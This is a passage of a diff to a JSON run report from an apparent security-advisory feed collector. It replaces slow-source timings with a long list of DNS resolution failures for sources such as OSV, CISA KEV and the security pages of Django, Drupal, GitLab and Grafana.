-      "elapsed_seconds": 1.91,
       "kind": "html-links",
       "items_seen": 193
     },
@@ -787,7 +165,6 @@
       "system_id": "wordpress",
       "source_name": "PortSwigger Research",
       "source_kind": "html-links",
-      "elapsed_seconds": 4.414,
       "kind": "html-links",
       "items_seen": 99
     },
@@ -795,15 +172,13 @@
       "system_id": "wordpress",
       "source_name": "WPScan Vulnerability Database",
       "source_kind": "html-links",
-      "elapsed_seconds": 2.819,
       "kind": "html-links",
-      "items_seen": 74
+      "items_seen": 75
     },
     {
       "system_id": "wordpress",
       "source_name": "WordPress Security News RSS",
       "source_kind": "rss-feed",
-      "elapsed_seconds": 1.849,
       "kind": "rss-feed",
       "items_seen": 10
     },
@@ -811,420 +186,1324 @@
       "system_id": "wordpress",
       "source_name": "Wordfence Vulnerability Database",
       "source_kind": "html-links",
-      "elapsed_seconds": 1.823,
       "kind": "html-links",
       "items_seen": 0
     }
   ],
-  "failures": [],
-  "slow_sources": [
+  "failures": [
     {
-      "system_id": "gitlab-ce",
-      "source_name": "GitLab Security Releases Atom",
-      "source_kind": "atom-feed",
-      "elapsed_seconds": 14.369,
-      "status": "ok"
-    },
-    {
-      "system_id": "redmine",
-      "source_name": "Redmine Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 11.163,
-      "status": "ok"
-    },
-    {
-      "system_id": "grafana",
-      "source_name": "Grafana Security Advisories",
-      "source_kind": "html-links",
-      "elapsed_seconds": 10.747,
-      "status": "ok"
-    },
-    {
-      "system_id": "mattermost",
-      "source_name": "OSV Mattermost",
+      "system_id": "adminer",
+      "display_name": "Adminer",
+      "source_name": "OSV Adminer",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 10.489,
-      "status": "ok"
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
-      "system_id": "mattermost",
-      "source_name": "Mattermost Security Updates JSON",
-      "source_kind": "json-feed",
-      "elapsed_seconds": 10.401,
-      "status": "ok"
+      "system_id": "adobe-commerce",
+      "display_name": "Adobe Commerce",
+      "source_name": "Adobe Magento Security Index",
+      "source_kind": "vendor-index",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://helpx.adobe.com/security/products/magento.html",
+      "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
-      "system_id": "kibana",
-      "source_name": "Elastic Security Announcements RSS",
+      "system_id": "angular",
+      "display_name": "Angular",
+      "source_name": "OSV Angular",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "apache-httpd",
+      "display_name": "Apache HTTP Server",
+      "source_name": "Apache HTTPD Security",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://httpd.apache.org/security/vulnerabilities_24.html",
+      "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "apache-httpd",
+      "display_name": "Apache HTTP Server",
+      "source_name": "CISA KEV Apache HTTPD",
+      "source_kind": "kev-json",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+      "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "apache-tomcat",
+      "display_name": "Apache Tomcat",
+      "source_name": "Apache Tomcat Security",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://tomcat.apache.org/security-10.html",
+      "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "apache-tomcat",
+      "display_name": "Apache Tomcat",
+      "source_name": "CISA KEV Tomcat",
+      "source_kind": "kev-json",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+      "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "aspnet-core",
+      "display_name": "ASP.NET Core",
+      "source_name": "OSV ASP.NET Core",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "astro",
+      "display_name": "Astro",
+      "source_name": "OSV Astro",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "astro::OSV Astro::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "caddy",
+      "display_name": "Caddy",
+      "source_name": "OSV Caddy",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "caddy::OSV Caddy::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "directus",
+      "display_name": "Directus",
+      "source_name": "Directus GitHub Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/directus/directus/security/advisories",
+      "summary": "directus::Directus GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /directus/directus/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "directus",
+      "display_name": "Directus",
+      "source_name": "OSV Directus",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "directus::OSV Directus::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "discourse",
+      "display_name": "Discourse",
+      "source_name": "Discourse Release Notes RSS",
       "source_kind": "rss-feed",
-      "elapsed_seconds": 10.238,
-      "status": "ok"
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://meta.discourse.org/tag/release-notes.rss",
+      "summary": "discourse::Discourse Release Notes RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/release-notes.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "discourse",
+      "display_name": "Discourse",
+      "source_name": "Discourse Security RSS",
+      "source_kind": "rss-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://meta.discourse.org/tag/security.rss",
+      "summary": "discourse::Discourse Security RSS::network::HTTPSConnectionPool(host='meta.discourse.org', port=443): Max retries exceeded with url: /tag/security.rss (Caused by NameResolutionError(\"HTTPSConnection(host='meta.discourse.org', port=443): Failed to resolve 'meta.discourse.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "discourse",
+      "display_name": "Discourse",
+      "source_name": "OSV Discourse",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "discourse::OSV Discourse::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "django",
+      "display_name": "Django",
+      "source_name": "Django Security Releases Archive",
+      "source_kind": "vendor-index",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://docs.djangoproject.com/en/dev/releases/security/",
+      "summary": "django::Django Security Releases Archive::network::HTTPSConnectionPool(host='docs.djangoproject.com', port=443): Max retries exceeded with url: /en/dev/releases/security/ (Caused by NameResolutionError(\"HTTPSConnection(host='docs.djangoproject.com', port=443): Failed to resolve 'docs.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "django",
+      "display_name": "Django",
+      "source_name": "Django Security Weblog",
+      "source_kind": "vendor-index",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.djangoproject.com/weblog/",
+      "summary": "django::Django Security Weblog::network::HTTPSConnectionPool(host='www.djangoproject.com', port=443): Max retries exceeded with url: /weblog/ (Caused by NameResolutionError(\"HTTPSConnection(host='www.djangoproject.com', port=443): Failed to resolve 'www.djangoproject.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "django",
+      "display_name": "Django",
+      "source_name": "OSV Django",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "django::OSV Django::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "drupal",
+      "display_name": "Drupal",
+      "source_name": "Drupal Security Advisories RSS",
+      "source_kind": "rss-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.drupal.org/security/rss.xml",
+      "summary": "drupal::Drupal Security Advisories RSS::network::HTTPSConnectionPool(host='www.drupal.org', port=443): Max retries exceeded with url: /security/rss.xml (Caused by NameResolutionError(\"HTTPSConnection(host='www.drupal.org', port=443): Failed to resolve 'www.drupal.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "drupal",
+      "display_name": "Drupal",
+      "source_name": "OSV Drupal",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "drupal::OSV Drupal::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "echo",
+      "display_name": "Echo",
+      "source_name": "OSV Echo",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "echo::OSV Echo::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "esbuild",
+      "display_name": "esbuild",
+      "source_name": "OSV esbuild",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "esbuild::OSV esbuild::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "express",
+      "display_name": "Express",
+      "source_name": "OSV Express",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "express::OSV Express::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "fastify",
+      "display_name": "Fastify",
+      "source_name": "OSV Fastify",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "fastify::OSV Fastify::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "flask",
+      "display_name": "Flask",
+      "source_name": "OSV Flask",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "flask::OSV Flask::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "ghost",
+      "display_name": "Ghost",
+      "source_name": "Ghost GitHub Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/TryGhost/Ghost/security/advisories",
+      "summary": "ghost::Ghost GitHub Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /TryGhost/Ghost/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "ghost",
+      "display_name": "Ghost",
+      "source_name": "OSV Ghost",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "ghost::OSV Ghost::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "gin",
+      "display_name": "Gin",
+      "source_name": "OSV Gin",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "gin::OSV Gin::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
       "system_id": "gitea",
+      "display_name": "Gitea",
       "source_name": "OSV Gitea",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 9.944,
-      "status": "ok"
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "gitea::OSV Gitea::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
-      "system_id": "jenkins",
-      "source_name": "Jenkins Security Advisories RSS",
-      "source_kind": "rss-feed",
-      "elapsed_seconds": 9.727,
-      "status": "ok"
+      "system_id": "gitlab-ce",
+      "display_name": "GitLab CE",
+      "source_name": "GitLab Advisory Database",
+      "source_kind": "html-links",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://gitlab.com/gitlab-org/advisories-community",
+      "summary": "gitlab-ce::GitLab Advisory Database::network::HTTPSConnectionPool(host='gitlab.com', port=443): Max retries exceeded with url: /gitlab-org/advisories-community (Caused by NameResolutionError(\"HTTPSConnection(host='gitlab.com', port=443): Failed to resolve 'gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "gitlab-ce",
+      "display_name": "GitLab CE",
+      "source_name": "GitLab Security Releases Atom",
+      "source_kind": "atom-feed",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://about.gitlab.com/security-releases.xml",
+      "summary": "gitlab-ce::GitLab Security Releases Atom::network::HTTPSConnectionPool(host='about.gitlab.com', port=443): Max retries exceeded with url: /security-releases.xml (Caused by NameResolutionError(\"HTTPSConnection(host='about.gitlab.com', port=443): Failed to resolve 'about.gitlab.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "grafana",
+      "display_name": "Grafana",
+      "source_name": "CISA KEV Grafana",
+      "source_kind": "kev-json",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+      "summary": "grafana::CISA KEV Grafana::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "grafana",
+      "display_name": "Grafana",
+      "source_name": "Grafana Security Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
